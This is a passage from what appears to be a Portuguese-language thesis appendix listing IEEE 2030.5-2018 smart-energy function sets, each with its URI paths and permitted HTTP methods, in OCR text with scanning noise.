modo que eles mantenham sua completa funcionalidade frente as mais diversas restri¢oes,
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principalmente restricoes de hardware que sao caracteristicas proprias dos dispositivos

IoT.
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APENDICE A - Conjuntos de funcoes e
recursos IEEE 2030.5-2018

A.1 Support Resources

A.1.1 Conjunto de fungoes Device Capabilities

E composto por um tnico recurso denominado DeviceCapability e tem por finalidade enu-
merar os recursos e os conjuntos de fung¢oes suportados por um dispositivo. Solicitantes
podem consultar esse recurso para descobrir se um outro determinado recurso ou con-
junto de funcoes esta disponivel e qual é a sua localizagao no dispositivo que esta sendo

consultado.

O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /dcap

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE: Erro;

A.1.2 Conjunto de funcoes Self Device

E composto de um tinico recurso denominado SelfDevice e tem por finalidade prover uma
interface para divulgagao de informacoes gerais sobre o dispositivo, tais como versao do
software e o nimero de identificagao. O elemento de URI e os métodos HTTP referentes

a0 recurso sao:

- Elemento URI: /sdev

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro; DE-
LETE: Erro;
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A.1.3 Conjunto de fungoes End Device

Localizado em um dispositivo servidor/controlador da HAN, é basicamente um contéiner
que tem por finalidade prover uma interface para a troca de informacoes, tanto gerais
quanto especificas de determinado dispositivo. Semelhante a uma ficha de registro a qual
contém informagoes sobre determinado ativo. Tal ficha fica armazenada em um dispositivo
servidor/controlador juntamente com outras fichas de outros dispositivos presentes na

rede. E composto de quatro recursos sendo eles:

e EndDevice — instancia propria do EndDevice que prové a interface para a troca
de informagoes. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e EndDeviceList — lista dos recursos EndDevice hospedados em um determinado
dispositivo. O dispositivo que hospeda tal recurso tem a funcao de persistir a infor-
macao dos EndDevice ao longo do tempo. O elemento de URI e os métodos HT'TP

referentes ao recurso sao:

- Elemento URI: /edev

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e Registration — apresenta informacoes relacionadas ao processo de registro do dis-
positivo em questao, como por exemplo o PIN e a data de registro. O elemento de
URI e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /edev/{id1}/rg
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e DeviceStatus — apresenta o atual estado operacional do dispositivo em questao.
O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/dstat

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Opcional;
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A.1.4 Conjunto de fungoes Function Set Assignments

Define uma colecao de referéncias para instancias de conjuntos de fungoes. Tal cole¢ao
¢ usada por um recurso FEndDevice para indicar ao dispositivo qual recurso ele deve
usar para um proposito especifico. Por exemplo, determinado dispositivo controlador de
medidores inteligentes deseja que um grupo especifico de medidores inteligentes de uma
area/regiao usem um determinado conjunto de fungoes especifico de tempo e prego. O
recurso Function Set Assignments é quem ird conter as instancias das referéncias para os
conjuntos de funcoes que devem ser usados pelo grupo. O conjunto de func¢oes Function

Set Assignments é composto por dois recursos:

¢ FunctionSet Assignments — fornece uma colecao de recursos para um determinado
dispositivo consumir. O elemento de URI e 0os métodos HTTP referentes ao recurso

sa0:

- Elemento URI: /edev/{id1}/fsa/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

¢ FunctionSetAssignmentsList — lista todos os recursos FunctionSetAssignments
presentes no dispositivo. O elemento de URI e os métodos HTTP referentes ao

recurso sao:

- Elemento URI: /edev/{id1} /fsa

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

A.1.5 Conjunto de fungoes Subscription/Notification

Tem por finalidade promover um mecanismo de notificagao para que um dispositivo seja
informado sobre alteracoes em um recurso. O conjunto de fungoes permite que dispositivos
facam subscricao em um determinado recurso e caso o recurso sofra alteracoes todos os
dispositivos que estao subscritos sao notificados. Por exemplo, varios dispositivos podem
fazer a subscrigao para acompanhar o preco de determinada commodity. Ao ser alterado
o preco, todos os dispositivos subscritos serdo notificados dessa alteracdo. E composto

pelos seguintes recursos:
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e Subscription — contém as informacoes relacionadas a uma assinatura de um dispo-
sitivo que deseja receber atualizagoes de um recurso automaticamente. O elemento

de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/sub/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-

LETE: Obrigatorio;

e SubscriptionList — lista as instancias Subscription relacionadas ao dispositivo em
questao, ou seja, lista todas as suas subscrigoes. O elemento de URI e os métodos

HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/sub
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-

LETE: Erro;

e Notification — instancia que recebe a notificacao sobre a alteracao ocorrida em um
recurso ao qual o dispositivo possui assinatura. O elemento de URI e os métodos

HTTP referentes ao recurso sao:
- Elemento : /ntfy/{id1}
- Métodos HTTP: GET/HEAD: Desencorajado; PUT: Erro; POST: Erro; DE-

LETE: Erro;

e NotificationList — lista todas as notificagoes do dispositivo em questao que serao

enviadas. O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /ntfy

- Métodos HTTP: GET/HEAD: Desencorajada; PUT: Erro; POST: Obrigatorio;
DELETE: Erro;

A.1.6 Conjunto de fungoes Response

Repositorio de dados contendo campos de resposta genérico (e.g., data de criagao, LFDI
e status) que é estendido para conjunto de fungoes especificos. Por exemplo, ao ocorrer
determinado evento (e.g., alteragdo de prego) e esse ser enviado aos demais dispositivos,
pode ser requisitado que os dispositivos alvos do evento enviem uma resposta confirmando

que o evento foi recebido. A resposta devera ser informada (via POST) na URI indicada
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no campo replyTo (e.g., replyTo="‘{hostname}/rsps’’) presente no evento original. As
respostas de um mesmo dispositivo serao diferenciadas uma das outras pela forma de
representacao, por exemplo, uma resposta a um evento relacionado ao prego sera feita pela
representacao <PriceResponse>, ja4 um evento relacionado a resposta de uma mensagem
de texto sera feito pela representagao <TextResponse>. O conjunto de fungoes é composto

dos seguintes recursos:

e ResponseSetList — lista das instancias ResponseSet. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /rsps
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Desencorajado; DE-
LETE: Erro;

e ResponseSet — instancia especifica de ResponseSet relacionada a determinado dis-
positivo. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /rsps/{id1}
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e ResponseList — lista das instancias Response de determinado dispositivo. O ele-
mento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /rsps/{id1}/rsp
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Obrigatério; DE-
LETE: Erro;

e Response — instancia de um repositorio de dados de resposta genérico que € esten-
dido para conjuntos de fungoes especificos. O elemento de URI e os métodos HT'TP
referentes ao recurso sao:

- Elemento URI: /rsps/{id1}/rsp/{id2}
- Métodos HTTP: GET/HEAD: Opcional, PUT: Erro; POST: Erro; DELETE:
Opcional;

e PriceResponse — resposta relacionada a mensagem de preco. O elemento de URI

e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /rsps/{id1}/rsp/{id3}
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- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Erro; DELETE:
Opcional;

o TextResponse — resposta a uma mensagem de texto. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /rsps/{id1}/rsp/{id4}
- Métodos HTTP: GET/HEAD: Opcional;, PUT: Erro; POST: Erro; DELETE:

Opcional;

¢ DERControlResponse — resposta a um controle DER. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /rsps/{id1}/rsp/{id5}
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Erro; DELETE:

Opcional;

¢ FlowReservationResponse — resposta a um FlowReservation. O elemento de

URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /rsps/{id1}/rsp/{id6}
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Erro; DELETE:

Opcional;

e DrResponse - resposta a demanda e controle de carga. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URIL: /rsps/{id1}/rsp/{id7}
- Métodos HTTP: GET/HEAD: Opcional; PUT: Erro; POST: Erro; DELETE:

Opcional;

A.2 Common Resources

A.2.1 Conjunto de fungoes Time

E composto por um tnico recurso denominado 7Time. Ele tem por finalidade fornecer
a base de tempo para que todos os dispositivos estejam sincronizados. Dispositivos que
implementam esse recurso podem obter a base de tempo de uma fonte externa via NTP ou

indiretamente por meio de uma fonte imprecisa (e.g., inserida manualmente via interface
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de usuério). Cada fonte de tempo possui uma métrica de qualidade conforme definido no
documento sep.xsd, sendo a fonte NTP a de melhor qualidade. Sincronizacao de tempo
é necessaria para uma correta execucao de outras funcionalidades tais como mudanca
de preco, resposta a demanda e controle de carga e medi¢ao. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URI: /tm

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro; DE-
LETE: Erro;

A.2.2 Conjunto de fungoes Device Information

Tem por finalidade fornecer a identificacao e as informagoes de determinado dispositivo
que sao disponibilizadas pelo fabricante. Por exemplo, por meio desse recurso é possivel ter
a informagao de quem ¢ o fabricante e qual o nimero de série de determinado dispositivo.

O conjunto de fungoes é composto pelos seguintes recursos:

e Devicelnformation — instancia que fornece a identificagao e as informacoes do
dispositivo disponibilizadas pelo fabricante. O elemento de URI e os métodos HT'TP
referentes ao recurso sao:

- Elemento URI: /edev/{id1}/di
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Opcional;

e SupportedLocale — informa uma localidade (regiao) a qual o dispositivo é com-
pativel. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/di/loc/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Obrigatorio;

e SupportedLocaleList — lista de localidades para a qual o dispositivo é compativel.

O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/di/loc/{id2}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-
LETE: Erro;
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A.2.3 Conjunto de fungoes Power Status

E composto de um tnico recurso denominado PowerStatus. Ele fornece informacgoes sobre
a fonte de alimentagao atual do dispositivo, bem como de outras utilizadas como reserva

de energia. O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/id1/ps

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DELETE:

Erro;

A.2.4 Conjunto de fungoes Network Status

Fornece informagoes a respeito da camada de rede (IP) do dispositivo e, potencialmente,

da camada de enlace. O conjunto de fungoes é composto dos seguintes recursos:

e IPInterface — informa o status de rede de uma interface especifica. O elemento de

URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/ns/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e IPInterfaceList — lista das instancias IPInterface associadas ao dispositivo. O

elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/ns
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e TPAddr - instancia que contém o endereco IP de uma interface especifica. O

elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /edev/{id1}/ns/{id2} /addr/{id3}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e TPAddrList — lista de instancias IPAddr de determinada interface. O elemento de

URI e os métodos HTTP referentes ao recurso sao:
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- Elemento URIL: /edev/{id1}/ns/{id2} /addr
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

¢ RPLInstance —instancia que prové informagao sobre o status de uma rede de baixa
poténcia e com perdas (RLP) associada a um determinado IPAddr. O elemento de

URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/ns/{id2}/addr/{id3} /rpl/{id4}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e RPLInstanceList — lista as instancias RPL das quais o IPAddr é membro. O
elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/ns/{id2}/addr/{id3}/rpl
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e RPLSourceRoutes — informa uma rota especifica RPL. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/ns/{id2}/addr/{id3}/rpl/{id4} /srt/{id5}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e RPLSourceRoutesList — lista das rotas RPL. O elemento de URI e os métodos
HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/ns/{id2} /addr/{id3} /rpl/{id4} /srt
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e LLInterface — instancia de uma camada de enlace especifica do dispositivo. O

elemento de URI e os métodos HTTP referentes ao recurso sdo:

- Elemento URI: /edev/{id1}/ns/{id2}/11/{id3}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;
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e LLInterfaceList — lista das camadas de enlace do dispositivo. O elemento de URI

e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/ns/{id2} /1l
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-

LETE: Erro;

e Neighbor — instancia que contém atributos especificos de um vizinho que faz uso
do TEEE 802.15.4. O elemento de URI e os métodos HTTP referentes ao recurso
sao:

- Elemento URI: /edev/{id1}/ns/{id2}/11/{id3}/nbh/{id4}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-

LETE: Opcional;

e NeighborList — lista dos vizinhos que fazem uso do IEEE 802.15.4. O elemento de

URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/ns/{id2}/11/{id3} /nbh

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

A.2.5 Conjunto de funcoes Log Event

O conjunto de fungoes Log Fvent tem por finalidade registrar os eventos gerados pelos
dispositivos. Os eventos de registros geralmente sao assincronos e podem ser provenientes
de avisos, mensagens de erro e detecgoes de eventos ou condigoes nao usuais. Por exemplo,
se a bateria de um dispositivo esta abaixo do limite aceito, isso pode gerar um evento e

tal informacao ser registrada. O conjunto é composto por dois recursos:

e LogEvent — instancia com registro de data e hora de um evento significativo detec-
tado pelo dispositivo. O elemento de URI e os métodos HT'TP referentes ao recurso

Sao:

- Elemento URIL: /edev/{id1}/lel/{id2}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Obrigatoério;
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e LogEventList — lista de instancias LogEvent do dispositivo. O elemento de URI e
os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/lel

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Obrigatoério;

A.2.6 Conjunto de fungoes Configuration

Fornece um acesso centralizado de leitura e gravacao da configuracao operacional dos

dispositivos. E composto dos seguintes recursos:

e Configuration — instancia que contém os parametros de configuracao de um dis-
positivo. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/cfg
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Erro;

e PriceResponseCfg — especifica a forma que os dispositivos devem responder as
mudangas de prego. O elemento de URI e os métodos HTTP referentes ao recurso
sao:

- Elemento URIL: /edev/{id1}/cfg/prefg/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Obrigatoério;

e PriceResponseCfgList — lista de instancias PriceResponseCfg. O elemento de

URI e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /edev/{id1}/cfg/prefg

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-
LETE: Erro;

A.2.7 Conjunto de fungoes File Download

Fornece os mecanismos para realizagao de suporte remoto seguro, interoperabilidade e

download de arquivos nos dispositivos. E composto pelos seguintes recursos:
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e File — instancia que contém varios metadados sobre um determinado arquivo em
um dispositivo. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /file/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;
DELETE: Desencorajado;

e FileList — lista de instancias File. O elemento de URI e os métodos HT'TP referentes
a0 recurso sao:
- Elemento URI: /file

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e FileStatus — fornece o status das operagoes de carga e ativagao de um arquivo em
um dispositivo. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/fs

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Erro;

A.3 Smart Energy Resources

A.3.1 Conjunto de funcoes Demand Response and Load Control

Fornece uma interface para o Demand Response and Load Control. Dispositivos tais como
termostatos e dispositivos que oferecem suporte ao controle de carga fazem uso desse tipo
de conjunto de fungao enquanto HEMS e sistemas de gestao de energia disponibilizam

tais conjuntos de fungoes. O conjunto de fungao é composto pelos seguintes recursos:

e DemandResponseProgram — instancia que identifica um programa de resposta
a demanda. O elemento de URI e os métodos HT'TP referentes ao recurso sao:
- Elemento URI: /dr/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e DemandResponseProgramList — lista de instancias DemandResponseProgram.

O elemento de URI e os métodos HTTP referentes ao recurso sao:
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- Elemento URI: /dr
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e EndDeviceControl — fornece parametros de controle para instruir um EndDevice
a executar uma acao especifica. O elemento de URI e os métodos HT'TP referentes

a0 recurso sao:

- Elemento URI: /dr/{id1}/edc/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e EndDeviceControlList — lista de instancias EndDeviceControl. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /dr/{id1}/edc
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e ActiveEndDeviceControlList — lista de instancias EndDeviceControl que no mo-
mento estao ativas. O elemento de URI e os métodos HTTP referentes ao recurso
Sa0:

- Elemento URI: /dr/{id1}/actedc
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e LoadShedAvailability — instancia que indica o status atual de consumo e a ca-
pacidade de rejeitar carga do dispositivo. O elemento de URI e os métodos HT'TP
referentes ao recurso sao:

- Elemento URIL: /edev/{id1}/lsl/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Obrigatoério;

e LoadShedAvailabilityList — lista das instancia LoadShedAvailability. O elemento

de URI e os métodos HT'TP referentes ao recurso sao:

- Elemento URI: /edev/{id1}/lsl
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- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-
LETE: Erro;

A.3.2 Conjunto de fungoes Metering

Fornece interfaces para trocar informacoes sobre medicao e leituras das commodities. E

composto dos seguintes recursos:

e UsagePointList — lista de instancias UsagePoint. O elemento de URI e os métodos
HTTP referentes ao recurso sao:
- Elemento URI: /upt
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e UsagePoint — instancia que representa um ponto loégico na rede onde consumo
e/ou produgao sao medidos fisicamente. O elemento de URI e os métodos HTTP
referentes ao recurso sao:

- Elemento URIL: /upt/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:
Opcional;

e MeterReadingList — lista de instancias MeterReading com suas respectivas URIs
de acesso. O elemento de URI e os métodos HT'TP referentes ao recurso sao:
- Elemento URIL: /upt/{id1}/mr
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e MeterReading — instancia contendo conjunto de valores obtidos dos medidores.
O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /upt/{id1}/mr/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:
Opcional;

¢ ReadingType — instancia dos tipos de dados fornecidos por uma leitura especifica.

O elemento de URI e os métodos HTTP referentes ao recurso sao:
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- Elemento URIL: /upt/{id1}/mr/{id2}/rt
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Erro;

e ReadingSetList — lista de instancias ReadingSet. O elemento de URI e os métodos
HTTP referentes ao recurso sao:
- Elemento URIL: /upt/{id1}/mr/{id2}/rs
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e ReadingSet — instancia que contém uma lista de Reading(s). O elemento de URI

e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /upt/{id1}/mr/{id2}/rs/{id3}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

¢ ReadingList — lista de conjunto de leituras Reading de um medidor em especifico.

O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /upt/{id1}/mr/{id2}/rs/{id3}/r
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

¢ Reading - instancia que contém um valor especifico medido por um medidor ou

outro ativo. O elemento de URI e os métodos HT'TP referentes ao recurso sdo:

- Elemento URIL: /upt/{id1}/mr/{id2}/rs/{id3}/r/{id4}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;

e MirrorUsagePointList — lista de instancia MirrorUsagePoint. O elemento de URI
e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /mup

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-
LETE: Erro;
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e MirrorUsagePoint — instancia que oferece, na forma de espelhamento, suporte
idéntico ao UsagePoint para outros dispositivos que possuem alguma restricao para
comunicagao. Por exemplo, um medidor de gas pode ter restricao de energia e com
isso ele desperta em intervalos de tempos para enviar suas medi¢oes a um dispositivo
que ofereca o recurso de espelhamento, o qual nao possui restri¢oes de energia. Uma
vez que as leituras estao armazenadas no dispositivo que fornece o espelhamento, a
concessionaria de gas realiza o acesso ao mesmo a qualquer momento tendo em vista
que ele nao possui nenhuma restrigao para a comunicacao. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URIL: /mup/{id1}

- Métodos HTTP: GET/HEAD: Opcional; PUT: Obrigatério; POST: Obrigatorio;
DELETE: Obrigatorio;

A.3.3 Conjunto de fungoes Pricing

Fornece modelos de estruturas tarifarias com suporte a uma variedade de tipos tais como:
preco fixo, blocos de consumo, preco por hora do dia seguinte e prego em tempo real.
O conjunto de fungoes também oferece suporte a tarifas especificas para aplicagoes pre-
sentes nos dispositivos (e.g., DER) e precos baseados em eventos especiais (e.g., pico de

consumo). E composto pelos seguintes recursos:

e TariffProfileList — lista de instancias TariffProfile. O elemento de URI e os mé-
todos HTTP referentes ao recurso sao:
- Elemento URI: /tp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e TariffProfile — instancia que disponibiliza o c6digo tarifario por meio de uma tabela
de cobrancga. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /tp/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e RateComponent — instancia que especifica os encargos aplicdveis a um compo-

nente da tarifa. O elemento de URI e os métodos HTTP referentes ao recurso sao:
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- Elemento URIL: /tp/{id1}/rc/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

o ActiveTimeTariffIntervalList — apresenta as instancias ativas de TimeTariffIn-
terval para um Tariff Profile especifico. O elemento de URI e os métodos HTTP

referentes ao recurso sao:
- Elemento URI: /tp/{id1}/rc/{id2}/acttti
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e TimeTariffIntervalList — lista das instancias ativas de TimeTariffInterval junta-
mento com o Consumption TariffInterval associado. O elemento de URI e os métodos

HTTP referentes ao recurso sao:
- Elemento URI: /tp/{id1}/rc/{id2}/tti
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;

DELETE: Erro;

e TimeTariffInterval — instancia que especifica o intervalo de tempo para uso de
RateComponent especifico. O elemento de URI e os métodos HT'TP referentes ao

recurso sao:

- Elemento URIL: /tp/{id1}/rc/{id2}/tti/{id3}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: erro; DELETE:

Desencorajado;

e ConsumptionTariffIntervalList — lista de instancias Consumption TariffInterval.

O elemento de URI e os métodos HT'TP referentes ao recurso sao:

- Elemento URIL: /tp/{id1}/rc/{id2}/tti/{id3}/cti

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e ConsumptionTariffInterval — instancia que apresenta limites definidos em termos
de quantidade de consumo de um servico ou commodity (e.g., eletricidade, gas e
agua) para a aplica¢ao de uma estrutura tarifaria. O elemento de URI e os métodos

HTTP referentes ao recurso sao:
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- Elemento URIL: /tp/{id1}/rc/{id2}/tti/{id3}/cti/{id4}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

A.3.4 Conjunto de fungoes Messaging

Fornece a interface para o servico de mensagens de texto. Monitores locais e outros
dispositivos de exibicao de texto sao exemplos dos dispositivos que fazem uso desse tipo de
conjunto de fungoes. O conjunto de fungoes Response é usado em conjunto para permitir
a confirmagao da entrega da mensagem e também para permitir o uso de respostas mais

complexas. K compostos pelos seguintes recursos:

e MessagingProgramList — lista de instancias MessagingProgram. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /msg
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e MessagingProgram — instancia para cole¢oes de mensagens de texto. O elemento
de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /msg/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

o ActiveTextMessageList — lista de mensagens que estao atualmente ativas. O
elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /msg/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e TextMessageList — lista de instancias TextMessage. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URIL: /msg/{id1}/txt

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;
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e TextMessage — instancia de mensagem de texto individual usada na notificagao.
O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /msg/{id1}/txt/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

A.3.5 Conjunto de fungoes Billing

Fornece o consumo, custo, estimativa de consumo futuro e histérico de consumo das
mais variadas commodities, principalmente energia elétrica. E composto pelos seguintes

recursos:

e CustomerAccountList — lista de instancias CustomerAccount. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e CustomerAccount — instancia de atribuicao de um grupo de produtos e servigos
a um dispositivo utilizando meio de cobranca e pagamento. O elemento de URI e

os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e CustomerAgreementList — lista de instancias CustomerAgreement. O elemento

de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ca
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;

DELETE: Erro;

e CustomerAgreement — instancia de acordo entre o cliente e o fornecedor de ser-
vigo/commodity. O elemento de URI e os métodos HTTP referentes ao recurso

Sao:
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- Elemento URIL: /bill/{id1}/ca/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

